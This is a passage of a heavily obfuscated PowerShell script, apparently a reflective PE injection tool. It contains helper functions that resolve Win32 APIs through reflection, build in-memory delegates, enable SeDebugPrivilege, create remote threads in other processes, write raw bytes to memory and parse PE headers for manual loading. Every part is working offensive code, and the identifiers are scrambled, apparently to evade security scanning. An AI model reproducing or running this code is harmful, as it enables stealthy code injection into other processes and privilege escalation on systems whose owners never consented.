${Iswo`w64P`RoC`EsS} = [System.Runtime.InteropServices.Marshal]::"g`ETdELeGA`TEfo`RfuNcTIonp`OInT`er"(${is`wOW64`ProcE`Ss`Ad`dr}, ${IswOw`64Pro`CE`s`sdeLEga`Te}) |
|
${WIN`32FuNc`T`Io`Ns} | &("{1}{2}{0}{3}"-f 'b','A','dd-Mem','er') -MemberType ("{2}{1}{3}{0}" -f 'rty','t','No','ePrope') -Name ("{3}{1}{4}{0}{2}" -f'4Proces','w','s','IsWo','6') -Value ${isW`OW6`4p`RoCEsS} |
|
|
|
${crE`ATet`hrEada`dDR} = &("{1}{3}{2}{0}" -f's','Ge','ddres','t-ProcA') ("{0}{2}{1}{3}" -f 'Ke','ne','r','l32.dll') ("{2}{0}{1}" -f'reateThre','ad','C') |
|
${C`RE`Ate`THREAd`dE`leGATe} = &("{3}{2}{1}{0}"-f 'ateType','eg','el','Get-D') @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32]."mAkEbYRe`FTY`Pe"()) ([IntPtr]) |
|
${cREa`Teth`R`eAd} = [System.Runtime.InteropServices.Marshal]::"GE`TdELEgAtEf`ORfUNCTiOnpo`I`N`TEr"(${Cr`EAt`eT`HreadAd`DR}, ${C`Rea`TetH`ReA`Dd`elEGAtE}) |
|
${WIn32`FUn`c`TIOns} | &("{3}{0}{1}{2}" -f 'm','be','r','Add-Me') -MemberType ("{1}{3}{0}{2}"-f't','NotePro','y','per') -Name ("{2}{1}{0}" -f'hread','T','Create') -Value ${cReaT`E`Thr`EAd} |
|
|
|
return ${W`iN3`2FuN`CtIO`Ns} |
|
} |
|
Function S`Ub`-SiG`NEdI`NTaS`Unsi`Gn`Ed |
|
{ |
|
Param( |
|
[Parameter(pOsItIOn = 0, maNDaTOry = ${t`RUe})] |
|
[Int64] |
|
${vA`LuE1}, |
|
|
|
[Parameter(pOSitIon = 1, manDaTORY = ${Tr`Ue})] |
|
[Int64] |
|
${vAl`Ue2} |
|
) |
|
|
|
[Byte[]]${v`A`luE`1BYtES} = [BitConverter]::"GETby`T`es"(${V`AlU`e1}) |
|
[Byte[]]${VaLue`2`ByteS} = [BitConverter]::"g`eT`Bytes"(${V`A`lue2}) |
|
[Byte[]]${FI`NaLByT`ES} = [BitConverter]::"Ge`TByt`eS"([UInt64]0) |
|
if (${VaL`U`E1`BYTes}."cO`Unt" -eq ${val`U`E2`Bytes}."cO`UNt") |
|
{ |
|
${cAR`RY`over} = 0 |
|
for (${I} = 0; ${I} -lt ${V`AlU`E1`BYteS}."cou`Nt"; ${i}++) |
|
{ |
|
${v`AL} = ${valU`e1BY`TES}[${i}] - ${C`A`RRyovER} |
|
|
|
if (${V`AL} -lt ${VA`LU`e2ByTES}[${i}]) |
|
{ |
|
${V`Al} += 256 |
|
${Ca`RrYOV`er} = 1 |
|
} |
|
else |
|
{ |
|
${Ca`RrYO`VEr} = 0 |
|
} |
|
|
|
|
|
[UInt16]${s`Um} = ${V`AL} - ${valuE2B`y`T`Es}[${I}] |
|
${fi`NAlb`y`TEs}[${i}] = ${S`Um} -band 0x00FF |
|
} |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
|
|
return [BitConverter]::"To`Int`64"(${Fi`N`ALbYTES}, 0) |
|
} |
|
|
|
Function AdD-siGneDi`N`Tasu`N`sIGNED |
|
{ |
|
Param( |
|
[Parameter(PoSition = 0, MandaTORy = ${tR`UE})] |
|
[Int64] |
|
${vAlU`e1}, |
|
|
|
[Parameter(poSITiON = 1, maNdatORy = ${T`RUE})] |
|
[Int64] |
|
${vAL`U`e2} |
|
) |
|
|
|
[Byte[]]${vaLuE`1`ByteS} = [BitConverter]::"GeT`BYtEs"(${V`AL`UE1}) |
|
[Byte[]]${VAL`UE2By`Tes} = [BitConverter]::"GET`BYt`eS"(${v`ALUE2}) |
|
[Byte[]]${FI`N`ALb`ytES} = [BitConverter]::"G`EtBYT`es"([UInt64]0) |
|
if (${vALUe`1bYT`es}."C`OuNT" -eq ${vAlU`E`2b`ytES}."c`oUnT") |
|
{ |
|
${cA`RrY`OVER} = 0 |
|
for (${I} = 0; ${I} -lt ${VAL`UE1b`ytES}."co`UNt"; ${i}++) |
|
{ |
|
|
|
[UInt16]${s`Um} = ${V`A`LUE1bytES}[${I}] + ${vA`lU`e2`ByTeS}[${i}] + ${cAR`RYO`Ver} |
|
${f`i`NalBYTeS}[${I}] = ${S`Um} -band 0x00FF |
|
|
|
if ((${S`UM} -band 0xFF00) -eq 0x100) |
|
{ |
|
${c`ArR`YOVer} = 1 |
|
} |
|
else |
|
{ |
|
${Car`R`YoVer} = 0 |
|
} |
|
} |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
|
|
return [BitConverter]::"tOin`T64"(${FIN`A`lBy`TEs}, 0) |
|
} |
|
|
|
Function C`om`pARe-VAL`1GREa`TeRT`hAnVAl2aS`UInt |
|
{ |
|
Param( |
|
[Parameter(pOSiTion = 0, MaNDATory = ${TR`UE})] |
|
[Int64] |
|
${va`Lue1}, |
|
|
|
[Parameter(pOSiTiON = 1, MAnDaTory = ${t`RUE})] |
|
[Int64] |
|
${Va`lu`e2} |
|
) |
|
|
|
[Byte[]]${VAlUe1`B`YtEs} = [BitConverter]::"g`e`TBytes"(${VAL`UE1}) |
|
[Byte[]]${vA`lue2b`yT`Es} = [BitConverter]::"geT`B`YtEs"(${vA`L`UE2}) |
|
if (${V`ALuE1b`Y`TEs}."c`OUNt" -eq ${ValUE2b`y`TeS}."c`OunT") |
|
{ |
|
for (${i} = ${valUE`1`B`YteS}."C`OuNt"-1; ${i} -ge 0; ${I}--) |
|
{ |
|
if (${VAL`U`e1ByT`eS}[${I}] -gt ${v`ALUE`2BYTes}[${i}]) |
|
{ |
|
return ${Tr`UE} |
|
} |
|
elseif (${va`L`UE1bYtEs}[${i}] -lt ${V`A`lUe2BYt`eS}[${I}]) |
|
{ |
|
return ${FaL`sE} |
|
} |
|
} |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
|
|
return ${f`ALse} |
|
} |
|
|
|
Function conveR`T-`UiNtT`oiNT |
|
{ |
|
Param( |
|
[Parameter(pOSItion = 0, mAndAToRY = ${tR`UE})] |
|
[UInt64] |
|
${VA`LUE} |
|
) |
|
|
|
[Byte[]]${value`B`y`Tes} = [BitConverter]::"ge`T`Bytes"(${vA`L`UE}) |
|
return ([BitConverter]::"Toi`NT64"(${vaLu`eBy`TEs}, 0)) |
|
} |
|
Function Get-h`Ex |
|
{ |
|
Param( |
|
[Parameter(PoSITION = 0, maNDatORy = ${tr`Ue})] |
|
${v`AlUe} |
|
) |
|
${va`lU`esize} = [System.Runtime.InteropServices.Marshal]::"si`z`eOF"([Type]${V`AlUE}."G`ettyPE"()) * 2 |
|
${H`EX} = "0x{0:X$($ValueSize)}" -f [Int64]${v`AluE} |
|
return ${h`EX} |
|
} |
|
|
|
|
|
Function tE`sT-M`EmoRYr`ANG`EvaliD |
|
{ |
|
Param( |
|
[Parameter(PosITIOn = 0, mandaToRY = ${tr`Ue})] |
|
[String] |
|
${d`eBugsTRi`NG}, |
|
|
|
[Parameter(PoSITioN = 1, mandatorY = ${T`RuE})] |
|
[System.Object] |
|
${p`EI`NfO}, |
|
|
|
[Parameter(pOsitIon = 2, mandAtOrY = ${tr`Ue})] |
|
[IntPtr] |
|
${sT`ARtad`DrESS}, |
|
|
|
[Parameter(pArAMetERsEtnAme = "Size", pOsItiON = 3, manDatORY = ${tr`UE})] |
|
[IntPtr] |
|
${Si`zE} |
|
) |
|
|
|
[IntPtr]${fI`NA`lE`NDA`DDrESS} = [IntPtr](&("{6}{2}{4}{1}{5}{0}{3}" -f's','ignedI','d','igned','-S','ntAsUn','Ad') (${St`ARtA`Ddr`e`sS}) (${sI`ZE})) |
|
|
|
${p`een`dAdD`REsS} = ${pE`inFo}."e`N`daD`dReSs" |
|
|
|
if ((&("{4}{3}{0}{1}{5}{6}{2}"-f'a','terThanVa','t','1Gre','Compare-Val','l2','AsUIn') (${p`eiNFO}."p`ehAndle") (${STAr`Tadd`R`ESS})) -eq ${t`RUe}) |
|
{ |
|
Throw "" |
|
} |
|
if ((&("{0}{3}{7}{5}{2}{1}{4}{6}"-f 'Compa','n','ha','re','V','terT','al2AsUInt','-Val1Grea') (${fin`AlenDA`d`DREsS}) (${pe`EnD`A`dDRess})) -eq ${TR`Ue}) |
|
{ |
|
Throw "" |
|
} |
|
} |
|
|
|
|
|
Function wr`ItE`-Byte`S`T`omE`MOrY |
|
{ |
|
Param( |
|
[Parameter(PoSition=0, mAndAtoRy = ${t`RUE})] |
|
[Byte[]] |
|
${b`yT`ES}, |
|
|
|
[Parameter(pOsItion=1, mANdaTORY = ${tr`Ue})] |
|
[IntPtr] |
|
${meMORy`Addre`ss} |
|
) |
|
|
|
for (${OF`Fset} = 0; ${oF`F`set} -lt ${bY`TES}."LEnG`Th"; ${ofFs`Et}++) |
|
{ |
|
[System.Runtime.InteropServices.Marshal]::"w`RItEbY`TE"(${MeMoryadD`R`E`Ss}, ${O`F`Fset}, ${BYt`es}[${o`FF`Set}]) |
|
} |
|
} |
|
|
|
Function GeT-DE`lEGATE`T`yPE |
|
{ |
|
Param |
|
( |
|
[OutputType([Type])] |
|
|
|
[Parameter( POsITION = 0)] |
|
[Type[]] |
|
${pA`R`AMETerS} = (&('a') ("{1}{0}{2}" -f'pe[','Ty',']')(0)), |
|
|
|
[Parameter( positiON = 1 )] |
|
[Type] |
|
${rET`Ur`Nty`PE} = [Void] |
|
) |
|
${d`oM`AIn} = [AppDomain]::"curRentD`oMA`in" |
|
${DYNAs`SE`Mbly} = &('a') ("{5}{6}{1}{8}{2}{7}{3}{4}{0}" -f 'e','tem.R','flection.A','sembl','yNam','S','ys','s','e')('ReflectedDelegate') |
|
${AsSE`m`BLYbUiL`D`ER} = ${doM`A`IN}."d`efinedYNAmIc`AS`S`EMB`Ly"(${DY`N`Asse`mBlY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"r`UN") |
|
${mODULe`B`U`IlDEr} = ${A`sSe`Mbl`YbuIL`dEr}."dEfInedYNa`Mic`modu`LE"('InMemoryModule', ${faL`SE}) |
|
${Typ`eb`U`iLDer} = ${Mod`ULEbuil`der}."de`F`I`NetYPE"('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) |
|
${c`OnsTr`U`Ct`OrbUI`LdEr} = ${Typeb`Ui`l`der}."d`EFINe`CoNs`Tru`ctOr"('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::"ST`AnDarD", ${paR`AmeT`e`RS}) |
|
${ConSt`Ructo`Rbuil`deR}."S`eTim`ple`mEntA`TI`oNF`Lags"('Runtime, Managed') |
|
${m`EthodB`Uil`Der} = ${t`yPEBUIlD`eR}."DE`FIn`emE`ThOD"('Invoke', 'Public, HideBySig, NewSlot, Virtual', ${r`ETUrn`TYpe}, ${PA`Rame`T`ERs}) |
|
${m`ETHO`d`B`UilDEr}."SEtI`MP`L`eMEntaTI`O`NflagS"('Runtime, Managed') |
|
|
|
&("{2}{0}{1}" -f'e-Outpu','t','Writ') ${tyP`EBU`ilder}."crE`ATET`Y`pe"() |
|
} |
|
Function G`ET-PrO`cAdDre`ss |
|
{ |
|
Param |
|
( |
|
[OutputType([IntPtr])] |
|
|
|
[Parameter( poSiTiON = 0, MaNDAtory = ${TR`UE} )] |
|
[String] |
|
${mOD`U`lE}, |
|
|
|
[Parameter( pOSITiOn = 1, mANDaToRy = ${tR`UE} )] |
|
[String] |
|
${Pr`OC`EduRe} |
|
) |
|
${SySTe`ma`SSeMbLY} = [AppDomain]::"c`URrEntdo`ma`iN"."Ge`TAS`SEmBlI`es"() | |
|
&("{0}{1}{2}"-f 'Wh','ere-Obje','ct') { ${_}."GLo`Bala`SSEmB`LY`Ca`c`HE" -And ${_}."lOcA`Ti`On"."S`PLiT"('\\')[-1]."EqU`Als"('System.dll') } |
|
${U`NS`AFeNAtIveMEThO`DS} = ${S`ySteM`As`Sem`BlY}."getty`pe"('Microsoft.Win32.UnsafeNativeMethods') |
|
${get`MODU`leh`AnD`Le} = ${u`NsA`FeNA`TivEmeThodS}."GETmEt`HoD"('GetModuleHandle') |
|
${GetpRoc`AdDRe`ss} = ${UN`SaFenAtiv`Emet`HO`DS}."G`E`TMEthOD"('GetProcAddress', [reflection.bindingflags] "Public,Static", ${nu`ll}, [System.Reflection.CallingConventions]::"a`NY", @((&('a') ("{5}{4}{6}{2}{0}{1}{7}{3}"-f'es.H','and','rvic','f','time.Interop','System.Run','Se','leRe'))."G`eTt`yPE"(), [string]), ${Nu`lL}); |
|
${keRN32`h`Andle} = ${GE`TM`o`duLeHaNdLe}."I`NVO`KE"(${N`ULl}, @(${Mo`dU`Le})) |
|
${t`mpP`TR} = &('a') ("{0}{1}" -f 'IntPt','r') |
|
${hANd`l`EReF} = &('a') ("{1}{6}{0}{7}{3}{4}{5}{2}" -f '.Inter','Sys','ndleRef','pS','ervices.H','a','tem.Runtime','o')(${Tm`PPtr}, ${Ke`Rn32`h`ANDle}) |
|
&("{0}{3}{2}{1}"-f 'Write-','ut','utp','O') ${gET`pr`OCaddR`eSS}."I`NVOkE"(${n`ULL}, @([System.Runtime.InteropServices.HandleRef]${H`AN`d`LeREF}, ${PRoc`E`dure})) |
|
} |
|
|
|
|
|
Function E`NAblE-`S`EDeBu`GPrI`VI`lEgE |
|
{ |
|
Param( |
|
[Parameter(posiTION = 1, MAndAtOrY = ${tr`Ue})] |
|
[System.Object] |
|
${W`iN32F`U`N`CTIOnS}, |
|
|
|
[Parameter(pOSITion = 2, maNDAtOrY = ${TR`Ue})] |
|
[System.Object] |
|
${W`IN32Ty`pes}, |
|
|
|
[Parameter(PositiON = 3, MaNDaTOrY = ${Tr`UE})] |
|
[System.Object] |
|
${WIn32`CON`sT`A`Nts} |
|
) |
|
|
|
[IntPtr]${tH`R`EadhAN`DLE} = ${WI`N32`Funct`iONs}."Ge`TcU`RReNTt`HrE`AD"."i`NVokE"() |
|
if (${Th`REAdhAND`Le} -eq [IntPtr]::"z`eRO") |
|
{ |
|
Throw "" |
|
} |
|
|
|
[IntPtr]${Thre`A`DtOken} = [IntPtr]::"zE`RO" |
|
[Bool]${rES`ULt} = ${w`IN3`2f`UN`CtionS}."OPeNThrEAdT`ok`en"."InVo`Ke"(${TH`R`EA`Dh`ANDle}, ${wIn3`2C`o`NStA`Nts}."t`okEN`_Qu`eRy" -bor ${wiN3`2`cOnst`AntS}."tokE`N`_ADJUSt_`pRIVI`L`eges", ${Fal`sE}, [Ref]${T`HrEadToK`en}) |
|
if (${ReS`U`lT} -eq ${Fa`LSe}) |
|
{ |
|
${Erro`R`Code} = [System.Runtime.InteropServices.Marshal]::"GeTLAStW`In32`E`R`Ror"() |
|
if (${ErrO`Rc`Ode} -eq ${WI`N`32COn`STaNTs}."eR`ROR_n`O_tO`k`en") |
|
{ |
|
${RE`sult} = ${W`In32FUncT`iO`Ns}."iM`PErSona`T`eselF"."in`VOKe"(3) |
|
if (${Re`S`UlT} -eq ${f`Al`Se}) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${R`ESu`Lt} = ${wIN3`2F`UnCTiONS}."OpeNTH`ReAdTO`kEN"."IN`VOke"(${ThRe`Adha`NDlE}, ${W`in`32CoNSTA`NTS}."T`oken_qUE`Ry" -bor ${WIn`32co`N`StaNTS}."tO`Ke`N_AD`jUST_P`RivileGEs", ${F`A`lse}, [Ref]${T`h`ReadTO`kEN}) |
|
if (${RES`UlT} -eq ${FA`L`se}) |
|
{ |
|
Throw "" |
|
} |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
} |
|
|
|
[IntPtr]${pL`Uid} = [System.Runtime.InteropServices.Marshal]::"aLLochgL`OB`Al"([System.Runtime.InteropServices.Marshal]::"s`izEof"([Type]${Wi`N32`T`yPes}."lU`ID")) |
|
${r`esuLT} = ${Win32F`UnCt`IONS}."LooKUpP`R`IVIleGe`VALuE"."InV`o`Ke"(${nU`ll}, "SeDebugPrivilege", ${pLu`id}) |
|
if (${r`esu`Lt} -eq ${FaL`Se}) |
|
{ |
|
Throw "" |
|
} |
|
[UInt32]${to`keN`P`R`Ivsize} = [System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type]${w`IN32T`yp`Es}."TOkEn_`PrIvIlE`GES") |
|
[IntPtr]${TOke`N`PrIVIlEGe`SMEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`g`LoBAL"(${tO`kEnpRi`V`SIZe}) |
|
${t`O`KENpRiv`ILEGES} = [System.Runtime.InteropServices.Marshal]::"P`T`RtOsTru`CTURE"(${tOkE`NPRIvIle`G`Esm`Em}, [Type]${W`IN32t`YpEs}."TOK`en_`priVile`GEs") |
|
${tO`Ken`PRIv`IlEG`Es}."PriVIl`EG`ecOunt" = 1 |
|
${tokenP`Ri`VIl`EG`es}."pri`Vi`LE`geS"."Lu`Id" = [System.Runtime.InteropServices.Marshal]::"PtR`TOstRUctU`Re"(${P`lUiD}, [Type]${w`In32`TYpEs}."L`UiD") |
|
${T`o`kE`N`PriVI`Leges}."PriV`IleG`Es"."aTT`Ri`BUtes" = ${wiN`32`COn`STanTS}."sE_`p`RivILEGe`_`enAb`l`ED" |
|
[System.Runtime.InteropServices.Marshal]::"sTRUC`TU`R`eT`opTR"(${tO`Kenpr`i`VileGES}, ${TO`kE`N`PrIVILegesmeM}, ${Tr`Ue}) |
|
${R`e`SuLT} = ${WIn3`2FUNC`TIOns}."adJu`s`TToKEnPRIV`IleGEs"."I`Nv`oKe"(${T`hre`ADT`OkEn}, ${f`AL`SE}, ${toKE`Np`RiVI`LeGE`s`Mem}, ${tOKe`NPRi`VSIzE}, [IntPtr]::"z`ero", [IntPtr]::"ZE`RO") |
|
${erR`o`Rco`de} = [System.Runtime.InteropServices.Marshal]::"gE`T`LAStW`IN32`ERRoR"() |
|
if ((${r`eSU`Lt} -eq ${fAL`SE}) -or (${ER`ROrCO`de} -ne 0)) |
|
{ |
|
|
|
} |
|
|
|
[System.Runtime.InteropServices.Marshal]::"Fr`E`EHGlobal"(${tOk`e`NP`RIVIl`egeSMEm}) |
|
} |
|
|
|
|
|
Function C`REatE-`Re`mOtE`THr`EaD |
|
{ |
|
Param( |
|
[Parameter(pOsITion = 1, mAndatoRy = ${TR`UE})] |
|
[IntPtr] |
|
${PrOce`sS`hA`N`dLE}, |
|
|
|
[Parameter(pOsiTiON = 2, mANDAtorY = ${t`Rue})] |
|
[IntPtr] |
|
${st`Arta`Ddre`Ss}, |
|
|
|
[Parameter(PosiTIon = 3, MAnDAtory = ${FAL`SE})] |
|
[IntPtr] |
|
${a`RGuM`ENtpTR} = [IntPtr]::"ze`Ro", |
|
|
|
[Parameter(POSiTION = 4, MANDaTORY = ${tR`UE})] |
|
[System.Object] |
|
${WIn3`2FU`NctioNs} |
|
) |
|
|
|
[IntPtr]${ReMo`T`Et`hREadHan`dlE} = [IntPtr]::"ze`RO" |
|
|
|
${o`sv`ERSI`On} = [Environment]::"O`Sv`ErSion"."VEr`s`iON" |
|
if ((${OSv`e`RsIon} -ge (&('a') 'Version' 6,0)) -and (${O`SVER`s`ION} -lt (&('a') 'Version' 6,2))) |
|
{ |
|
${Re`TVal}= ${w`i`N32fu`NcTioNs}."NTC`ReAtEt`HrEad`ex"."i`N`Voke"([Ref]${Re`MO`TethReAdh`AN`dLE}, 0x1FFFFF, [IntPtr]::"Ze`RO", ${PROc`eSSHan`D`LE}, ${sT`ArTAd`dreSs}, ${a`RGUMEn`T`pTR}, ${Fa`l`se}, 0, 0xffff, 0xffff, [IntPtr]::"z`erO") |
|
${LAst`eR`R`Or} = [System.Runtime.InteropServices.Marshal]::"G`ETlAsT`win`32eR`ROr"() |
|
if (${Rem`OTetH`Rea`DHANDle} -eq [IntPtr]::"z`ERO") |
|
{ |
|
Throw "" |
|
} |
|
} |
|
else |
|
{ |
|
${r`emOtethR`e`ADHA`N`DlE} = ${WiN3`2`F`Unct`ioNS}."CREATeR`EMote`THrE`AD"."IN`VOke"(${pRocEsSh`A`ND`lE}, [IntPtr]::"zE`RO", [UIntPtr][UInt64]0xFFFF, ${STar`TaDD`R`E`sS}, ${aRgu`Me`Nt`PTr}, 0, [IntPtr]::"ze`Ro") |
|
} |
|
|
|
if (${rE`m`oTeTHR`eaDh`AN`D`Le} -eq [IntPtr]::"Z`eRO") |
|
{ |
|
&("{2}{1}{0}" -f 'Error','e-','Writ') "" -ErrorAction ("{1}{0}" -f'top','S') |
|
} |
|
|
|
return ${R`EmoTetHre`A`dh`ANDLe} |
|
} |
|
|
|
Function gET-IMA`GE`NTHeAd`ers |
|
{ |
|
Param( |
|
[Parameter(POSItion = 0, MAnDAToRy = ${tr`UE})] |
|
[IntPtr] |
|
${pEh`A`NDLe}, |
|
|
|
[Parameter(poSItIOn = 1, ManDatorY = ${T`RuE})] |
|
[System.Object] |
|
${wIN`3`2tYpES} |
|
) |
|
|
|
${nTh`eA`dErS`Info} = &('a') ("{2}{3}{0}{1}"-f 'tem.Obje','ct','Sy','s') |
|
|
|
${doshe`A`DeR} = [System.Runtime.InteropServices.Marshal]::"pTrTOS`T`RuCTU`RE"(${pe`H`AndlE}, [Type]${wIn32`TY`pES}."ImAGE_DOs`_H`ea`dEr") |
|
[IntPtr]${N`T`HEaD`erS`pTr} = [IntPtr](&("{6}{4}{1}{5}{0}{3}{2}" -f 'As','In','ned','Unsig','dd-Signed','t','A') ([Int64]${PEh`A`NDle}) ([Int64][UInt64]${D`OS`hEADer}."e`_Lf`ANEw")) |
|
${N`ThEAdE`R`sIn`Fo} | &("{0}{1}{2}"-f 'A','dd-Membe','r') -MemberType ("{2}{1}{0}" -f'erty','p','NotePro') -Name ("{0}{3}{2}{1}"-f 'N','Ptr','Headers','t') -Value ${N`THE`Ad`eRspTr} |
|
${i`MA`gEnTHeAD`Ers64} = [System.Runtime.InteropServices.Marshal]::"pTR`T`OSTRuCtUrE"(${ntHEA`DER`SPTR}, [Type]${W`in`32TYPES}."i`mA`GE_Nt_`HeaDe`RS64") |
|
|
|
if (${I`mag`ENthea`DEr`S64}."si`gnA`TU`Re" -ne 0x00004550) |
|
{ |
|
throw "" |
|
} |
|
|
|
if (${IMag`E`NThEAD`erS64}."op`Ti`ONAlhEAD`eR"."m`AgiC" -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') |
|
{ |
|
${NT`He`ADE`RSInFO} | &("{3}{1}{0}{2}"-f'-Mem','dd','ber','A') -MemberType ("{2}{0}{1}{3}"-f'ePro','p','Not','erty') -Name ("{2}{3}{4}{0}{1}" -f 'NT_H','EADERS','I','M','AGE_') -Value ${Im`A`gEn`THea`deRs64} |
|
${nT`H`EAd`E`RsiNfO} | &("{2}{0}{1}" -f 'dd-Mem','ber','A') -MemberType ("{3}{0}{2}{1}"-f'eP','perty','ro','Not') -Name ("{0}{1}{2}" -f'PE64B','i','t') -Value ${TR`Ue} |
|
} |
|
else |
|
{ |
|
${im`AGe`NTHeaD`E`R`s32} = [System.Runtime.InteropServices.Marshal]::"PT`Rt`OSTrUct`UrE"(${NThe`AdeRSp`Tr}, [Type]${wiN`3`2tYpES}."I`MAGE_`Nt_heaDE`RS32") |
|
${nTHEa`dERs`In`Fo} | &("{2}{1}{0}" -f 'ber','d-Mem','Ad') -MemberType ("{0}{3}{2}{1}"-f 'Note','erty','p','Pro') -Name ("{1}{0}{2}" -f 'AGE_NT_H','IM','EADERS') -Value ${i`MAgENTH`EaDER`S32} |
|
${NThe`ADerSIN`FO} | &("{2}{1}{0}"-f 'ber','Mem','Add-') -MemberType ("{2}{3}{1}{0}" -f'ty','er','Not','eProp') -Name ("{0}{2}{1}"-f'P','64Bit','E') -Value ${Fal`SE} |
|
} |
|
|
|
return ${Nt`h`EA`dErs`iNfO} |
|
} |
|
Function g`ET-p`E`BasicIN`FO |
|
{ |
|
Param( |
|
[Parameter( poSITiON = 0, MAndAtOrY = ${t`RUe} )] |
|
[Byte[]] |
|
${P`E`BYTEs}, |
|
|
|
[Parameter(poSiTion = 1, MAndAtorY = ${TR`Ue})] |
|
[System.Object] |
|
${w`In32`T`YpEs} |
|
) |
|
|
|
${Pe`i`NFo} = &('a') ("{0}{2}{1}" -f 'System.Obj','t','ec') |
|
|
|
[IntPtr]${U`NmA`NAgedPEBYt`Es} = [System.Runtime.InteropServices.Marshal]::"AllOch`GlOB`AL"(${p`eBYT`Es}."LeN`G`TH") |
|
[System.Runtime.InteropServices.Marshal]::"c`opy"(${pe`BY`Tes}, 0, ${u`NM`An`A`gEdPEByTeS}, ${pEbyt`es}."l`E`NGth") | &("{1}{0}"-f'ut-Null','O') |
|
|
|
${n`The`ADe`RsiNfo} = &("{4}{2}{0}{1}{3}"-f 'I','mage','-','NtHeaders','Get') -PEHandle ${U`NManaGedP`eB`Y`Tes} -Win32Types ${win3`2`TyPes} |
|
|
|
${pe`InFO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{2}{0}{1}" -f 't','eProperty','No') -Name 'PE64Bit' -Value (${ntH`Ead`eRsinFO}."pE6`4B`iT") |
|
${Pei`Nfo} | &("{2}{1}{0}"-f 'er','d-Memb','Ad') -MemberType ("{0}{2}{1}" -f 'No','perty','tePro') -Name 'OriginalImageBase' -Value (${N`THe`Ad`eRSINfo}."I`MAg`E_Nt`_hEAdE`Rs"."OP`T`IoN`ALHe`Ader"."I`maG`EBase") |
|
${p`EIn`Fo} | &("{2}{1}{0}" -f 'mber','d-Me','Ad') -MemberType ("{0}{2}{3}{1}" -f 'N','roperty','ote','P') -Name 'SizeOfImage' -Value (${N`TheA`DERSI`NfO}."ImagE_nT_`hE`A`derS"."Op`TION`ALHe`A`der"."siz`EoFIm`AgE") |
|
${p`e`INFO} | &("{0}{3}{2}{1}"-f'A','r','be','dd-Mem') -MemberType ("{1}{2}{0}" -f'erty','Note','Prop') -Name 'SizeOfHeaders' -Value (${NTHe`AdeR`si`NFO}."I`m`AGe_n`T`_HEAdErS"."oPT`IonAL`h`eA`DEr"."S`iZe`oFh`e`AdERs") |
|
${pei`NfO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{1}{3}{0}{2}"-f 'o','Not','perty','ePr') -Name 'DllCharacteristics' -Value (${NTH`eADe`RsI`NfO}."I`MaG`e_NT`_he`AdErS"."OpTioN`AlHE`AD`er"."Dll`CHARA`C`Te`RIs`TiCS") |
|
|
|
[System.Runtime.InteropServices.Marshal]::"fr`E`ehGLOBaL"(${u`NmaN`AGEd`P`eByTES}) |
|
|
|
return ${p`EiNFo} |
|
} |
|
Function gEt-`pEDe`T`AILedi`Nfo |
|
{ |
|
Param( |
|
[Parameter( PositION = 0, ManDatORy = ${tr`UE})] |
|
[IntPtr] |
|
${pe`H`ANDLe}, |
|
|
|
[Parameter(pOSITIOn = 1, MaNDatorY = ${t`RuE})] |
|
[System.Object] |
|
${wI`N`32ty`pEs}, |
|
|
|
[Parameter(pOSiTIOn = 2, MandATOrY = ${T`RuE})] |
|
[System.Object] |
|
${wIn3`2COnS`TANtS} |
|
) |
|
|
|
if (${pE`Hand`Le} -eq ${n`ULl} -or ${Pe`haNdLE} -eq [IntPtr]::"z`ero") |
|
{ |
|
throw '' |
|
} |
|
|
|
${Pe`In`FO} = &('a') ("{0}{1}{3}{2}{4}"-f 'S','ys','m.','te','Object') |
|
|
|
${n`ThEAD`ERSiNfo} = &("{0}{5}{2}{4}{1}{3}" -f'Get-','eade','ag','rs','eNtH','Im') -PEHandle ${PEHa`ND`lE} -Win32Types ${Wi`N32`TyP`ES} |
|
|
|
${Pei`NFo} | &("{0}{2}{1}"-f'Add-Mem','er','b') -MemberType ("{1}{0}{3}{2}"-f 'P','Note','perty','ro') -Name ("{0}{1}{2}" -f 'PEH','and','le') -Value ${P`e`HANDle} |
|
${pEi`Nfo} | &("{0}{1}{2}" -f 'Ad','d-','Member') -MemberType ("{0}{1}{3}{2}" -f 'Note','P','y','ropert') -Name ("{0}{1}{2}{3}"-f'IMAGE_','NT_H','EAD','ERS') -Value (${ntH`ea`d`ERSINfO}."IMAGe_N`T_`HE`A`DERS") |
|
${pE`InfO} | &("{0}{2}{1}"-f 'Add','r','-Membe') -MemberType ("{2}{1}{0}"-f 'erty','eProp','Not') -Name ("{1}{0}{3}{2}"-f 'r','NtHeade','tr','sP') -Value (${n`T`he`AdE`RSINFO}."nT`hEaDE`R`sPTr") |
|
${P`EI`NFO} | &("{1}{2}{0}" -f'mber','Add','-Me') -MemberType ("{2}{3}{1}{0}"-f 'perty','o','N','otePr') -Name ("{0}{1}"-f'PE64B','it') -Value (${NT`HeaD`erSin`Fo}."pE64`BiT") |
|
${p`EI`NfO} | &("{1}{0}{2}"-f'dd-Me','A','mber') -MemberType ("{1}{0}{2}{3}" -f'op','NotePr','ert','y') -Name 'SizeOfImage' -Value (${nTHe`AdE`RS`In`Fo}."iMagE`_`Nt_Hea`D`eRs"."o`PtIonAL`HE`AdER"."SI`zeOf`iMage") |
|
|
|
if (${pe`i`NFo}."Pe64`BiT" -eq ${tR`UE}) |
|
{ |
|
[IntPtr]${S`ec`TIoNHEAdER`P`Tr} = [IntPtr](&("{6}{2}{0}{3}{4}{5}{1}" -f'gn','d','dd-Si','ed','IntAsUns','igne','A') ([Int64]${p`eI`NFO}."nTh`eADER`S`Ptr") ([System.Runtime.InteropServices.Marshal]::"sI`ZEOf"([Type]${w`In3`2tYpEs}."iMAg`e_n`T_HeadE`R`s64"))) |
|
